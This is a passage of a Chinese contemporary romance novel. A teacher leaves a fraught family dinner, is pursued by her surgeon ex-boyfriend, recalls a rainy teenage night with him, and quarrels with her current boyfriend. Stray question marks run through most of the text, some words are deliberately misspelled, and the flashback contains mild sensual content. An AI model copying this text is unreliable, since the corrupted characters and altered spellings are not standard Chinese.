“每个?人的情况不一样,我的私事就不劳秦医生操心了。” 谢一菲不想跟他讨论这个?问题, 更是毫不避讳地想坐得?离他远一点。这一动不小?心把手?机掉在了地上。两人都下意?识低头去捡,结果她的额头直接撞在了他硬邦邦的肩膀上, 痛得?她眼泪差点掉出?来,更要命的是再抬头时她发现有一缕头发缠在了他的衬衫扣子?上。 为?了搭配今天的衣服, 她特意?没有把头发扎起来, 还在发尾处弄了点卷, 结果就惹了这种麻烦。 如果秦一鸣母子?这时候从厨房出?来看到这一幕,那可就热闹了。 她手?忙脚乱地去扯头发,但越是慌乱, 手?指就越不听使唤,那缕头发反而?越缠越紧。 “你能不能别动了?”头顶上传来男人带着几分无奈的声音。 谢一菲急道:“要不直接扯断吧?” 秦铮:“我来。” 她闭上眼,以为?要忍痛了, 结果却感到头皮上的痛感正?在减轻。 再睁开眼时,视线恰落在两人的影子?上。 因为?是阴天, 地上的影子?不太清晰,但依旧能看清他的手?指修长灵巧,正?极有耐心地将她的那缕发丝从他的扣子?上一点点地剥离。 脑子?里忽然冒出?一句话——这可是能在葡萄皮上缝针的人啊。 她急躁不安的心情忽然就被平复了。 她一动不动配合着他, 与此同时闻到了他身上的须后水味,甚至能够听到他平稳却强劲的心跳声…… 为?什么,同样的境遇下紧张兮兮的只有她一个?人? 谢一菲发现无论是十年前还是十年后,她好像从没有见过他失控的样子?,他似乎总要比同龄人沉稳,正?常人的情绪波动在他这里很少出?现,最生气的时候他也只是一言不发地掉头离开。 “好了。” 她如蒙大赦,连忙拉开和?他的距离,借着整理头发的动作掩饰自己前一刻的心猿意?马。 旁边的男人问:“就这么害怕?” 谢一菲手?上动作顿了顿。 “对,怕麻烦。” 秦铮笑:“我以为?你是怕我。” “这不是一个?意?思吗?” “所以在你看来,我是‘麻烦’?” 谢一菲 忽然不知道该怎么回答了。 正?在这时,厨房门突然开了,秦一鸣端着两盘凉菜从厨房出?来:“热菜稍等等,大厨正?忙着收尾呢!” 谢一菲没再理会?秦铮,起身帮忙摆放碗盘。 片刻后,厨房的抽油烟机总算停了,菜陆陆续续被秦母端上来。谢一菲这才发现这一桌菜全是辣的。 秦一鸣似乎也意?识到了这一点,问他妈:“怎么也没个?清淡点的菜?” 秦母:“我记得?小?铮爱吃辣,这可是我之前特意?跟一个?川渝的老师傅学的,你们尝尝,绝对正?宗。” 秦一鸣闻言也没再说什么,只是在旁人不注意?时轻轻拍了拍谢一菲的后背以示安慰。 也是,她一个?凑数的,有什么资格挑三拣四的? 不过当年被一碗鸭血粉丝辣哭的人什么时候变得?爱吃辣了? 正?在这时,秦铮忽然开口:“我爱吃什么不要紧,关键得?看谢老师能吃什么?” 这话让在场除了他以外的所有人表情都变得?很微妙。 谢一菲的心又提了起来。秦铮就像个?不定时的炸弹,不确定什么时候就会?将她的生活引爆。 她死死盯着他,担心他会?说出?什么不合时宜的话。 秦铮淡淡瞥她一眼说:“谢老师这是要做第一个?在我眼皮子?底下不尊医嘱的病人了。手?术后至少一个?月要保持清淡饮食,我记得?我说过吧?” 谢一菲悄悄松了口气。他是医生,她是他的病人,他在这种情况下维护她也说得?过去。 但也不知道是秦铮不领情的缘故,还是被叫来凑数的谢一菲这么多事的缘故,秦母勉强维持这么久的笑脸终究是垮了下来。 “看一菲行动这么自如,我都快忘了她还是个病人。不过……”她煞有介事地揉了揉膝盖,“我这个?腿啊,站时间长了就站不住了。” 秦一鸣做出一副后知后觉的样子:“这事怪我,怪我没提前说。刚才看厨房好像还有点青菜,我去炒两个出来,很快的。” 可正当他要离开餐桌时,却又被秦母按了回去。 “你哪会?炒什么菜,好好坐着吧!”说完秦母看向谢一菲,“听一鸣说你手?艺不错,不知道阿姨是不是有幸能尝尝?” 她话说得?客气,但哪有别人第一次到家里做客就让人下厨的? 看来她之前觉得?自己是个?陪客都是高估了自己在秦母心里的地位。在秦母看来,她应该只是个?等着她裁决的没有过过名录的儿子?的临时女友。如果她顺从贤惠让她满意?,就能继续跟她儿子?谈下去,如果她让她不高兴了,那她成为?北京媳妇的这场“美梦”也就结束了。 秦一鸣显然也觉得?不妥:“一菲第一次来咱家?,对厨房也不熟悉,还是我去吧。” 忍了这么久,原本想忍到这顿饭结束的,但现在,谢一菲决定不忍了。 这里的空气让她窒息,这里的人也让她厌烦。 她站起身来:“不用了。” 秦母笑着拍了下秦一鸣:“就是的,人家?一菲都没说什么,就你护短,厨房就那么大,有什么熟悉不熟悉的……” 谢一菲打断秦母:“我是说那两个?菜不用炒了,其实刚才学校就打电话给我了,说有事让我过去一趟,我看时间差不多了,就先走了。” 这场闹剧她是看够了,虽然有点失望,但也不是不能接受。 秦一鸣连忙起身挽留:“什么事这么急?你好歹吃了饭再走。” 谢一菲已经?没心情再应付他了,自顾自拎起包去门口换鞋。 秦一鸣见她打定主意?要走,也就没再拦着:“那我送送你吧。” 谢一菲这一走,就是彻底不给秦母面子?了。可以想象,本就对她不甚满意?的秦母现在应该更不待见她了。 所以听儿子?要去送她,秦母不冷不热地来了句:“你哥还在呢,有你这么晾着客人的吗?” 谢一菲怎么会?听不出?来,那意?思就是别忘了今天的正?事,别怠慢了今天真正?的客人。 她也劝秦一鸣留下:“不用送了,我又不是不认路。” 但这次秦一鸣像是没听到她们的话,坚持送她出?门。 她知道他跟出?来的用意?,无非就是解释今天发生的一切。但是这一切已经?发生了,再去解释它为?什么会?发生又有什么意?义呢? 秦母家?住在90年代的筒子?楼里,出?门是一条类似于阳台的长廊。斑驳的墙漆还在脱落,雨水从敞开的窗子?扫进来,打湿了走廊的地面。 也不知道这雨是什么时候来的。 秦一鸣说:“你等我一下,我回去拿把伞。” 他的脚步声渐渐远去,那扇老旧的防盗门再度打开又合上。 谢一菲没有停下来,穿过那条半湿的走廊去等电梯。 此刻这里没有别人,她原本挺直的脊背忽然就松垮了下来。 来到这里也只有一个?小?时而?已,却仿佛一个?世纪那么久。她从小?生长在一个?压抑的环境里,按理来说该对别人的挑剔和?冷脸习以为?常了。然而?事实恰巧相?反,她越是长大越无法应对这样的场合。她不能让刚从原来那个?家?里逃出?来的自己又要去到这样一个?家?里。 刚放松没多久,又有脚步声传来,她不由得?再度挺起背脊,目光锁定在电梯上方?的楼层指示灯上,心里盼着电梯快点来。 听到沉着的脚步声靠近,她以为?是取伞回来的秦一鸣,抬起头却看到了秦铮。 “怎么是你?” “你希望是谁?” 她想问他怎么出?来了,但电梯门打开得?声音打断了她的思绪。与此同时,又一阵急促的脚步声由远及近。 谢一菲正?要回头看,忽然感到手?腕上一紧——她几乎被秦铮拽着上了电梯,还不等她回过神来时,电梯门已经?关上,在那之前,她似乎看到了秦一鸣的衣角,但是很快,眼前只有反光门板上映出?的两人的身影。 她的手?腕还被他攥在手?中。 还好电梯里没有其他人。 她一言不发地甩开他的手?,刻意?拉开和?他的距离站去门口,时不时抬头去看楼层指示灯,恨不得?那个?数字立刻变成“1”。秦铮始终沉默着,但她能感受到他一直在看着她。比起她先前的冷嘲热讽阴阳怪气,这样沉默的注视让她更不安。 包里的手?机发出?嗡鸣声,打破了这诡异的氛围。她拿出?来看,是秦一鸣打来的。她正?犹豫着要不要接,手?上忽然空了。他拿过她的手?机干脆利落地帮她按下挂断,又丢回了她的包里。 她先前忍他很久了,这会?儿电梯里只有他们俩,她再不需要忍了。 “你发什么疯?!” “你说我发什么疯?” 对比起她的失控,他这句反问像是没有一点情绪,但他的眼神骗不了人,那暗沉沉的注视让她心慌。 他上前一步:“我还想问问你发什么疯?你和?秦一鸣到底算什么?” 谢一菲别过脸:“你以什么身份质问我?秦家?人吗?” 重逢以来,两人就算有些言语交锋也都是试探和?挑衅,但还都不约而?同地维持着一份成年人之间的体面。 可是这一刻,粉饰了许久的假象被撕碎了,他们好像一夕之间回到了十年前,回到了那个?可以肆意?笑、肆意?哭、肆意?宣泄情绪的年纪。 “你希望我是以什么身份?” 她希望?她希望他和?这件事一点关系都没有,她希望他像过去的十年一样远离她的生活,她希望他们从来没有重逢过。 “这是我的事,与你无关。” “叮”的一声,电梯门终于再度打开,她像是几近溺毙的人又重新?呼吸到了新?鲜空气。她快速走出?电梯,好像这样就能甩开他。可这场雨真大啊,单元门外像挂起了雨帘,把门里门外隔成了两个?世界。 手?机又响了,多半还是秦一鸣。她不想理会?,但不去管它就响个?不停,她只能手?忙脚乱地去包里翻找。 秦铮的声音从身旁传来:“你真以为?他能娶你吗?” 谢一菲再一次按下“挂断”:“我也没说一定要嫁给他。” “既然你不想结婚,那你跟他在一起是随便玩玩的吗?” 她看着前方?地砖缝隙里长出?的杂草,被雨水打弯了腰却又很快挺起背脊,甚至张开双臂,像是正?在这暴雨中狂欢。 沉默了片刻,她说:“算是吧,不行吗?” “你之前可不是这么说的。” 手?机又响,她直接关了机。世界安静了,静得?只有雨声。 “我上次那么说只是不想被纠缠。”她抬头迎上秦铮的视线,笑了,“秦医生的前任那么多,应该不是每个?都好聚好散的吧?” 秦铮对她这反应似乎有点意?外:“你觉得?我会?纠缠你?” “我不知道,但你的很多行为?让我很难不多想。” 她以为?他接下来就会?否认,甚至说她自不量力,毕竟他这样的人一向也只有被人纠缠的份。 谁知他却无所谓地点点头说:“你的感觉没错。” 这回换谢一菲意?外了。 或许是她的表情取悦到了他,他笑了:“吓到了?还是太惊喜了?” 除了雨声,此刻的谢一菲听到了另一种声音,那是她的心跳声。 “我不知道你在说什么。”她避开他的视线,试图藏起自己的慌乱。 秦铮慢条斯理地说:“我是说,如果只是玩玩,为?什么非得?是他?” 她听到的没有错,他想重新?开始,却是以另一种方?式重新?开始。 “是你疯了还是我疯了?” 今天发生的一切越来越超出?她的控制,她只想赶快逃离。于是也顾不得?雨大了,把包顶在头上,冲入了雨中。 她不想跑得?太狼狈,让身后的人看笑话,但事实上不管她跑得?是快是慢,没多久,她就浑身湿透了。 她以为?淋雨会?很不舒服,其实不舒服的时候只是最初半湿不湿的时候,等浑身湿透后,她反而?适应了。 她放慢脚步,和?平时一样从容。雨势像是受了她情绪的影响,也渐渐缓了下来。 路过一片地势较低的区域时,她看到自己脚上那双白色帆布鞋,已经?彻底浸在了泥水中。她不由得?想到秦一鸣后备箱里的那双鞋。在这样的雨天里,即便穿上那双鞋,恐怕也很难避免鞋子?进水吧。 正?在这时,身后传来一声汽车鸣笛声,她下意?识回头看,是秦铮的那辆SUV。 车子?在她前面停了下来,副驾驶车窗降下,里面的人说:“上车。” 她为?什么要上他的车?她装作没看见,继续往前走。 她以为?他那么骄傲的人被无视后应该会?立刻离开,谁知他竟然一直慢悠悠地跟着她。 谢一菲告诫自己不要理会?,他爱跟就让他跟着,可是很快一声又一声的鸣笛声从她身后传来,让她无法当听不见。 出?小?区的路只有这么一条,而?且也只有一个?车道,秦铮这样跟着她,不一会?儿后面就排起了长龙,而?且拥堵的队伍还在不断地延长。 这里离小?区大门还有几百米,等她走到门口也不知道这条路会?堵成什么样。 跟在秦铮后面的轿车司机实在看不下去了,降下车窗骂骂咧咧道:“小?情侣吵架回家?吵去,挡着别人的路算怎么回事?” 奈何?罪魁祸首丝毫不焦躁,听到别人不耐烦的催促也跟没听到一样,依旧以5迈的速度慢吞吞地往前挪动。 谢一菲没有秦铮那样好的心理素质,在他的车子?再一次停在面前时还是妥协了。 身上的衣服在滴水,但她一丝歉意?都没有,直接坐在了他的真皮座椅上,还在他开口前先发制人:“你这样很没素质。” 他扫了眼她身下的雨水:“你有就行。” 谢一菲:“是你非要让我上车的。” “是,没错。” 说着他打开了暖风,伸手?在空调口试了试温度。 北京的春天本来就不暖和?,下雨就更冷了,走在外面体感温度比实际温度还要低不少,但他的车上是暖的。不得?不承认,此时被暖风这么一吹,她舒服多了。 他看她一眼:“这种时候跟我较劲的结果就是你自己受罪。” 是啊,跟他较了半天劲最终不还是上了他的车吗?也白淋了那半天的雨。 如果人能放下骨气,或许会?活得?更容易一点。可是正?是因为?放不下骨气,她才是她。 车子?离开了刚才那段小?路,渐渐汇入到了滚滚车流中。 暖风呼呼地吹着,这样的白噪声,让她的神经?渐渐放松下来。 她忍不住用余光悄悄打量他,这才注意?到他刚才去开车时应该也淋了雨,额前的头发湿漉漉的,被他捋在脑后,露出?了光洁的额头来。 都说真正?俊朗的人是不需要发型修饰的,秦铮显然是个?中翘楚,眼下这么狼狈,也一点不损他的形象,反而?显得?更随意?不羁,有了点他年少时的影子?。 视线中的人忽然开口,说出?的话让她怀疑他和?她想到了同一件事。 他说:“北京四月的雨和?南京八月的雨没法比。” 她的思绪也被拉回到了十年前,他们跑去江宁爬牛首山的那一天。 八月的南京正?是最热的时候,但那天恰巧是个?阴天,还有风,山里又比市中心凉快不少。 那是他们两人第一次去离家?稍远一点的地方?约会?,起初一切都很顺利,直到他们从佛顶塔出?来时,天色忽然变得?很阴沉,一副山雨欲来的模样。 两人只能加快速度下山,但还没到山脚下,大雨便瓢泼而?至,很快把他们浇成了落汤鸡。 因为?天气的缘故,回市区的车几乎打不到,最后他们决定就在牛首山附近住一晚。 那时候订酒店还不像现在这么方?便,要一个?个?电话打过去问有没有空房,或许是赶上旅游旺季又天色已晚的缘故,连问了几家?旅馆才找到一家?有空房的。 两三公里的路,两人也只能步行过去,到旅馆的时候,天已经?彻底黑了。 在听到秦铮直接和?前台说开一间房时,谢一菲的脸不争气地红了,但她就当没听见,从始至终默默跟在他身后。 那是她第一次夜不归宿,编个?谎话也磕磕绊绊,好在她一向乖巧,家?人听说是学校有事也并没有怀疑。 对比起她的忐忑和?小?心翼翼,秦铮那边就简单多了,他打电话给他外婆只说了一句有事晚上不回了,再无更多的解释。 解决了家?里的事,就该面对彼此了。 那是她第一次和?除了她弟以外的男生共处一室,说不紧张那是假的。 在一起前,她总是以姐姐的姿态“俯视”他,毕竟两人最初认识时她已经?是大学生了,而?他还是个?高中生。但在一起后,他的见识和?超乎年龄的冷静成熟让她会?情不自禁地依赖他、顺从他。就像那天,不管遇上了多么猛烈的狂风暴雨,因为?有他在,她一点都不害怕不担心。 两人先后洗了澡,没有多余的换洗衣服,就只能把白天穿的衣服吹干了再穿。 那时候还没有外卖,所以他们就只能一人泡个?面当晚饭,但那却是谢一菲吃过的最好吃的泡面。当热腾腾的面香弥漫在逼仄的空间里时,她感到了前所未有的满足和?安心。 简陋的小?旅馆里没什么娱乐设施,能看的电视频道也只有本地的几个?台。两人都累了一天,吃完饭简单洗漱完便各自躺上了床。 这间标间的两张床只隔了一臂的距离。关了灯,他们面对彼此而?卧,她看不清他的脸,却能看到他一双眼睛亮而?湿润,没有一丝睡意?。 雨声伴随着陈旧空调的运转声让整个?房间显得?格外的安静,却让她的心鼓噪了起来。 “我可以抱抱你吗?”他忽然说。 理智告诉她,她该拒绝的,如果不想跟他发生什么的话。 但她最终选择了沉默。 片刻后,她听到了窸窸窣窣的声音,是他下了床,又爬上了她的床。 她想让开一点距离给他,他却不由分说地将她揽入怀中。 隔着单薄的布料,她第一次感受到原来男孩子?的胸膛可以这么坚硬滚烫。 他浑身上下都硬邦邦的,但躺在他的怀里,她却没有一点不适,反而?无比 踏实。 片刻后,她感到有温热的气息扫拂过她的额头,痒痒的。 与他身上其他地方?的触感不同,他的唇竟然那么温软,一路从她的额头移至她的鼻尖,最后落在她的唇上。 因为?少年人的青涩,也因为?对未来的不确定,两人在一起一个?多月了,亲密的举动却没有太多。 接吻不是第一次,但依旧让她紧张到手?足无措。 他的呼吸是湿重的,可吻她的动作却很轻柔,而?且她发现他的皮肤好好,离得?那么近也看不到粗糙的毛孔,他的睫毛好长,他吻她的表情好陶醉——这个?认知让她既觉得?羞耻又满心欢喜…… 正?当她天马行空地胡思乱想着,唇上的触感忽然消失,眼前的人睁开了眼。 她从未见过那样的他,原本清澈明亮的双眼染上了明显的情浴,但他说出?来的话却又显得?那么理智。 “闭眼、张嘴、呼吸。” 她这才意?识到自己一直在屏气。 停滞静音的画面仿佛重新?活了起来,她重重地呼气,而?就在下一秒,他再度吻了上来,这一次对比起先前那个?吻更霸道也更缱绻。 她感受着他柔软的一面,心都要化了。 难怪那么多人喜欢接吻,原来唇齿交缠的感觉这么奇妙。 她渐渐无法理智思考,紧绷的身体也像是被抽走了筋骨似的软绵绵的。 明知道要爬山,但为?了美,她那天还是穿了裙子?,那件八十块的白色连衣裙。 迷迷蒙蒙间,她感受到她的裙边被一点点卷起。 湿漉漉的风从半敞的窗子?探入,打着旋地扫过屋里的每一个?角落,让谢一菲感到一阵战栗,那种触电般的感觉惊醒了她,她惊慌失措,隔着裙子?按住了那只作乱的手?。 他也停下了亲吻她的动作,夜色中与她对视着。那种眼神像是在恳求,又像是在无声坚持着什么。 最终还是她决定退让:“不能在衣服里面。” 他乖乖拿出?了手?。可那手?掌的温度隔着衣服依旧烫得?惊人。 临睡前,她刚刚脱掉了内衣,此时一件薄薄的裙子?根本阻隔不了什么,她能清晰感知他手?掌的温度和?手?指的形状,想必反之也是如此吧。 后来每每想到那时候,她都觉得?自己当时的坚持很无用,但那就是少年人该有的,是浴望和?底线的较量,是对未知未来的敬畏,也是最纯粹的奉献和?沉沦。 “我刚才的提议,你好好考虑一下。” 突如其来的一句话让她回了神。 他刚才说什么了? 他像是看出?她的心不在焉:“如果你只是想玩玩的话,我应该是更好的人选。” 第16章 第 16 章 “你们随时可以分手了。…… 谢一菲的心跳不可抑制地?漏跳了一拍, 像很多年前的那?个?夜晚,他爬上她床的那?一刻。 原来他真是这个?意?思?,可是为什么呢?是男人?对初恋的执念, 是她还吸引着他,抑或只是他的一时兴起?? 谢一菲没有回应他,沉默地?看向窗外。 今春的第一场雨,或许谁也没想到会这么大。多的是没有准备的路人?, 还有因为积水而封掉的道路。 此时的他们?堵在环路上,好半天才往前挪动几米。 车内因他的那?句话陡然陷入了安静中,除了雨声她甚至能听得到他们?彼此的呼吸声。 过?了不知道多久, 她依旧没有什么头绪,索性问他:“为什么?” “这不是显而易见的吗?我目前单身, 想开始一段新的感?情应该很好理解吧?” 看来他只是一时兴起?。 “我不知道你说的‘玩玩’是什么意?思??像你和巧巧一样?吗?” 沉默了片刻,秦铮说:“我还没做好结婚的打算, 但?是我不介意?谈一场不用考虑未来的恋爱。” 通过?今天的事谢一菲发现, 考不考虑未来对一段感?情的结局似乎没有太大的影响, 因为很多事情都不是当下的自己能左右的。所以不考虑未来也挺好,今天高兴了在一起?,明天不高兴了就分开, 她知道身边很多人?都是这样?的。但?是她也知道,秦铮说的这种关系和别人?的恋爱还略有不同。她记得他对巧巧说过?,他对她不会有任何?的感?情。 那?算哪门子恋爱?那?不就是一个?固定的床伴吗? 他对她发出这样?的邀请, 是对她的侮辱,更是对秦一鸣母子的背刺。 “你就一点也不考虑秦一鸣的感?受吗?” “我和秦家人?的关系可能和你想的有点不一样?。” 她不知道有多不一样?, 但?是从刚才短暂的交流看,他似乎不太喜欢秦一鸣和他母亲,尤其秦母。 “那?为什么是我?” 秦铮看她一眼, 反问她:“你觉得是为什么?” 还能是为什么,总归不会是因为爱。 躁动的心渐渐平复下来,她笑了笑,说出的话却并不好听。 “不关你是出于?什么原因,可怎么办呢?我这人?不吃回头草。” 身边的男人?沉默了,谢一菲的心情却好了不少。 秦铮看着她:“我也不是十年前的我了,所以,也不能算是回头草。” 是啊,十年前的他虽然也活得肆意?、我行?我素,但?是在面对她时依旧有少年人?的小心翼翼、偶尔露出的纯真傻气,还有毫不掩饰的迷恋和热烈。 是他让她第一次渴望与另一个?人?见面,分享每一天的生活和心情,是他让她学会尝试爱,尝试自信。可是也是他再一次把?她打回原形,让她认识到自己其实什么都不是,还是那?个?没人?疼爱,自卑又怯懦的她。 不过?让她意?外的是,她以为他被拒绝后就会放弃,但?他没有。 谢一菲:“那?又怎样??我不感?兴趣。” “你是不感?兴趣还是不敢感?兴趣?” 心跳错了一拍。 她也问自己,她是真的不感?兴趣,还是不敢感?兴趣? “你是不是搞错了?我现在有男朋友。” “那?你们?随时可以分手了。” 谢一菲几乎要气笑了。 是她的狼狈给了他可以戏弄她践踏她的底气吗? “麻烦你靠边停车。” 他却好像没听见,车子继续向前开着。 “我说停车!” “这种没有意?义的较劲有意?思?吗?” 她的骨气和坚持在他看来竟然都是没有意?义的较劲。 谢一菲忽然觉得很疲惫,这一天中发生的所有事、遇到的所有人?都让她疲惫。 她安静地?看着车窗外,不想再说一句话。 过?了一会儿,秦铮说:“不用这么快给我答复。” 她头也不回,用没什么起?伏的语调回复他:“不管什么时候,我的答案都是一样?。” 前方路况终于?好了些,不多久,车子停在了谢一菲的公寓楼下。 她正要推门下车,秦铮再度开口:“听护士小刘说,你做完手术的那?天曾经想当面感?谢我。” 谢一菲推门的动作顿了顿,她想到了住院的那?两天,她看到了他的另一面,那?是作为医生的他,专业、负责,对作为病人?的她也格外照顾。 那?天晚上,看着他灯火通明的办公室,想到他细心周到地?帮她安排护工,她确实是发自内心的感?激他,也天真地?以为两人?的关系或许会有全新的走向。 但?是此时此刻,当他企图再次拿她的感激当筹码的时候,她才意?识到,十年像是一个?轮回,什么都没有变。 当初他同意在学校照顾她弟,让她弟不被欺负,条件就是她做他女朋友。 现在又是这样?…… 他像是看穿了她的想法:“放心,我刚才的提议和这件事无关。” 谢一菲:“那你想要我怎么感?谢你?” 秦铮:“先记着吧。” …… 回到家,谢一菲疲惫地?把?自己丢进沙发里。 回想着今天在秦一鸣家发生的一切,她意?识到情况比她想象中的更糟糕。 理智告诉她,他们?之间大概不会有未来,可两年的感?情又算什么? 以前在网上看到大家讨论? 别人?的感?情时,她总觉得那?些优柔寡断的人?过?于?软弱。现在她懂了,替别人?做决定很容易,替自己做决定很难。谁又知道,那?些看似果断洒脱的抉择背后是多少个?不眠之夜呢? 就像她的那?个?结节,明知道它或许代表着不好的变数,可当秦铮问她要不要手术的时候,她还是犹豫了。 她从包里拿出手机,开了机,立刻收到了一大堆微信。有解释今天这事的,有道歉的,都是来自秦一鸣。 谢一菲一条条扫过?去,视线最后停留在最近的这一条上。 秦一鸣:【我妈脾气就那?样?,有时候我也受不了,你还在生气吗?】 生气吗?他母亲咄咄逼人?不留情面的时候她确实很生气,但?是此刻,她只有失望。 谢一菲的手指停在手机屏幕上,却久久打不出一个?字来。 正在这时,手里的手机忽然震动了起?来。 来电显示是“妈妈”。那?一刻她真真切切感?受到了生理的不适,很想直接拒接。但?考虑到拒接的后果,她又不得不深呼吸,平复情绪,然后接通电话。 刘秀梅的声音中有难以掩饰的兴奋,问她在哪。 她说:“在家?” 刘秀梅有点意?外:“这么快就回家了?那?小秦在你身边吗?” “不在,您有什么话就说吧。” 她已经猜到了,刘秀梅打这通电话来无非是打探她去秦一鸣家吃饭的事。 她忽然很想知道,要是她妈妈知道她在别人?家受了委屈会说些什么,但?是很快,她就打消了这个?念头。 她不想让家人?担心,但?更怕的是她们?会让她忍一忍,用过?来人?的姿态教育她,这就是生活,是必须要经历必须要面对的现实。 “也没什么,就是问问你今天去他家的情况怎么样??他妈妈喜欢你吗?你们?在哪吃的饭?他家房子大吗?” 她理解她妈为什么那?么希望她能被秦一鸣和他的母亲所接纳,但?她更希望她妈能分一点关注在她身上,问问她喜不喜欢秦一鸣的家人?,问问她是不是愿意?和那?个?男人?共度余生。 “您怎么不问问我喜不喜欢他们?家人??” 刘秀梅不以为意?道:“你喜欢秦一鸣就行?,你未来又不会像我一样?要和你奶奶住一起?,喜不喜欢有那?么重要吗?再说了,婆媳和睦的少,能过?得去就行?,你看我和你奶奶相处这么多年了,日子不也好好的吗?” 果然,她就不该开了这个?话头。 谢一菲看向窗外,雨还在淅淅沥沥地?下着,天色阴沉,玻璃窗上映出她半个?影子,她看着那?上面的人?正死咬牙关,因为只有这样?才能不让情绪泄露。 良久,那?张熟悉的脸渐渐模糊,谢一菲深吸一口气:“您的日子真的好吗?” 刘秀梅不解:“你这孩子怎么了?出什么事了?” 谢一菲捂着话筒吸吸鼻子,然后才说:“没什么,就是累了。” 刘秀梅似乎有点失望:“那?你先休息吧,休息好咱们?再聊。” 挂断电话,谢一菲很快收到一条微信,是她爸爸发来的。 【不用考虑我们?,也不用听你妈和你奶奶的,以后的日子是你自己的,你喜欢更重要。】 看到这句话,刚才忍住的眼泪还是不争气地?流了出来。 从她有记忆以来,她爸总是很不顺,以前在厂子里工作时就因为沉默寡言不怎么受领导待见,后来又因为弟弟的出生干脆丢了工作。那?之后他没有一份工作能干久,自然也没有稳定的收入。谢一菲上初中的时候,为了减轻家里的负担,他又被朋友撺掇着做起?了生意?,拿着家里的积蓄投资了那?位朋友的店铺。结果没多久,店铺因为经营不善倒闭了,投进去的钱自然也是血本无归。 那?之后,她奶奶更加笃定是她妈这个?灾星让自己儿子这么不顺,而她妈因为家里的积蓄没有了又要死要活了好久,虽然被亲戚朋友们?劝住没有离婚,但?从那?以后就开始变本加厉地?嫌弃她爸,把?从奶奶那?受得气都撒在了她爸身上。 街坊邻居都说她爸性格太软,但?就是这个?性格软弱的人?,却是那?个?家里唯一能让她感?受到爱的人?。 谢一菲:【放心吧,谁也别想委屈您女儿。】 …… 晚上,谢一菲正准备上床睡觉时,秦一鸣突然来了。 他很少在这个?时间来找她。 “你怎么来了?” 问出这话时,她心里已经有了答案,今天发生了这么多事,他肯定也不好受。 “我发你微信你不回,再打你电话你已经关机了,所以过?来看看你。” 谢一菲把?他让进门,避重就轻地?回道:“刚才跟我妈视频,手机没电了。” 秦一鸣眼神闪烁:“跟你妈说什么了?” “放心,什么也没说。” 秦一鸣松了口气:“我知道今天让你受委屈了。我妈那?人?就那?样?,说话办事一直不怎么讨人?喜欢,我爸去世后他脾气性格更古怪了,但?她也确实是没把?你当外人?。” 他小心翼翼看着她:“她年纪大了,你能不能别和她计较了?” 谢一菲不想再提今天的事:“我没事,你回去吧,我今天有点累想早点睡。” 秦一鸣沉默了片刻问:“你是因为我和我妈才觉得累吗?” 谢一菲觉得秦一鸣这话问得奇怪,不解地?看着他:“什么意?思??” “今天你一走我弟也走了,你们?遇上了吗?” 她顿了顿:“遇上了。” “他跟你说什么了?” 谢一菲错开视线:“没说什么。” “真的?” “你到底想说什么?” “我看到你上了他的车。” 房间里忽然安静了下来。 秦一鸣:“你是不是想说那?会儿恰巧在下雨,你俩又是顺路,他送你也正常?” 事实是这样?,但?又不完全是这样?。 这其中自然有不能对秦一鸣坦白的,但?她自认自己没做错什么,心里更是坦坦荡荡。 谢一菲:“所以你怀疑我和他,大半夜跑过?来其实只是来质问我的?” 两人?对视了片刻,秦一鸣先败下阵来,语气也没刚才那?么笃定了:“我就是觉得他特意?问起?你今天会不会来就很奇怪,而且在我家的时候又处处护着你,怕你有什么想法……” “我今天去之前并不知道他也在,我去你家是因为你说你妈要见我,可事实是什么?你妈要见的人?根本不是我。还有,你觉得他在维护我,前提是有人?在为难我。”话已经说到这份上了,她摆出一副送客的姿态,“你回去吧,有什么话明天再说,我今天真挺累的。” 秦一鸣大概也自知理亏,此时见她真的生气了,立刻缓和了态度:“一菲,我刚才一着急就口不择言了。今天的事也不是你想的那?样?,要见你确实是我妈说的,但?咱俩都谈这么久了,也不急在这一时,可我评职称的事等?不了,就想早点让我弟和我们?院长打个?招呼,谁知道他突然提起?你,我妈想着反正你和他也认识,不如一起?吃顿饭。而且今天之前我特意?跟我妈说过?你刚做完手术要吃点清淡的,但?她可能忘了……” 谢一菲看着面前的男人?,心里五味杂陈。 虽然他和秦铮都姓秦,但?却是截然不同的性格。她以为她受不了秦铮的强硬和距离感?,更喜欢秦一鸣的柔软和真实,可现在她发现,这些感?觉并不是绝对的。 一个?强硬的人?在有的时候能给人?强有力的安全感?,而柔软这个?特质在有些情况时会变成软弱。同样?的,一个?人?总让人?感?到有距离感?,可能只是因为他情绪内敛喜怒不形于?色,而一个?人?之所以显得真实,也可能是他不善于?处理自己的情绪,无论?是好的还是坏的都会毫无保留地?展露给亲近的人?。 秦一鸣拉起?她的手:“一菲,你放心,咱俩以后结了婚不会和我妈住在一起?,平时也见不到几回,绝对不会让你再受这样?的委屈。” 这似乎是他们?第一次设想未来的生活,却是在这种情形下。 “你会和我结婚吗?”谢一菲问。 似乎是见她的态度有所松动,秦一鸣很高兴:“谈恋爱当然是奔着结婚去的,我妈那?边你放心,我去做工作。” “她不同意?怎么办?” “她会同意?的,她还是心疼我的,只要我坚持一定没问题!” 说完,他观察着她的神情:“怎么我觉得你好像不太高兴?” 或许在秦一鸣看来,他能在这么大阻碍下还坚持要娶她,她该高兴该感?动的,但?她的反应却过?于?平淡了。 谢一菲:“有个?问题我一直很好奇,你究竟喜欢我什么?” 秦一鸣笑了:“当然是因为你有学识、三观正、工作稳定有前途,最重要的是性格温柔,宜室宜家,现在你这样?规规矩矩的女生很少了,而我就喜欢你这样?的。” “规矩?”谢一菲问,“什么样?是不规矩的?打架子鼓的算不算?” 话题似乎正在朝着轻松的方向转换,秦一鸣的状态也肉眼可见地?轻松了不少。 他想了想说:“乐器本身是不分高低贵贱的,但?架子鼓不能单独演出,一般都要组个?乐队什么的。我以前学打鼓时还加了个?群,也有女生学这个?,和一帮男的组乐队,天天混夜店……我觉得这应该算不上规矩吧。” 谢一菲抽出手:“你有没有想过?,你可能并不了解我。” 秦一鸣的笑容勉强了些:“什么意?思??” “你觉得咱俩合适吗?” “我说错什么了让你这么上纲上线的?” “不是上纲上线,就是单纯的疑问。” 秦一鸣点点头:“看来今天这事一时半会儿是过?不去了。确实,我们?目前遇到了点小阻碍,可是谁谈恋爱是一帆风顺的,不都是磕磕绊绊过?来的吗?如果连这点小坎坷都跨不过?去,结婚以后要面对的困难多着呢,到时候怎么办?” 外人?制造的阻力或许能算是小坎坷,那?他和她之间呢?他们?之间真的没有问题吗? 但?今天显然不是探讨这个?问题的好时机。 “我知道了,你先回去吧。” 面对她冷淡的态度,秦一鸣勉强维持的笑容也消失了。 “其实我也想问你个?问题。” 谢一菲抬起?头,等?着他的问题。 